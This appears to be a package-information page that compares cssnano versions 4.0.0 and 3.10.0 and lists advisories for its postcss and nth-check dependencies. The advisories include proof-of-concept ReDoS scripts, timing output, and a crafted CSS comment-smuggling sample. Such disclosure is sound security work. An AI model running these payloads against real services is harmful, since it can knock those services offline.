Cssnano is a popular npm package used to minify CSS code, optimizing it for production environments by reducing file sizes. Comparing versions 4.0.0 and 3.10.0 reveals significant architectural changes impacting how developers integrate it into their projects. Version 4.0.0 adopts a more modular architecture, relying on PostCSS and preset configurations ("cssnano-preset-default," "cssnano-preset-advanced") for more flexible and manageable customization. This contrasts sharply with the monolithic structure of version 3.10.0, where numerous individual PostCSS plugins were directly included as dependencies, leading to a larger and potentially more complex dependency tree.
Developers upgrading to v4 should note the removal of many direct dependencies found in v3, necessitating a shift to using the recommended preset configurations. This offers a streamlined and potentially more performant approach by only including the specific minification rules needed. The cosmiconfig dependency in v4 allows for configuration through various file types (JSON, YAML, JS) in a standardized way. While both versions serve the same core purpose of CSS minification, the newer iteration provides improved configurability, maintainability, and integration with modern workflows. The change aligns cssnano with the evolving PostCSS ecosystem, encouraging users to define their minification process through explicit presets. This change can reduce conflicts but also require more setup.
All the vulnerabilities related to the version 4.0.0 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.
Inefficient Regular Expression Complexity in nth-check
There is a Regular Expression Denial of Service (ReDoS) vulnerability in nth-check that causes a denial of service when parsing crafted invalid CSS nth-checks.
The ReDoS vulnerabilities of the regex are mainly due to the sub-pattern \s*(?:([+-]?)\s*(\d+))? with quantified overlapping adjacency and can be exploited with the following code.
Proof of Concept
// PoC.js
var nthCheck = require("nth-check")
for(var i = 1; i <= 50000; i++) {
var time = Date.now();
var attack_str = '2n' + ' '.repeat(i*10000)+"!";
try {
nthCheck.parse(attack_str)
}
catch(err) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
}
The Output
attack_str.length: 10003: 174 ms
attack_str.length: 20003: 1427 ms
attack_str.length: 30003: 2602 ms
attack_str.length: 40003: 4378 ms
attack_str.length: 50003: 7473 ms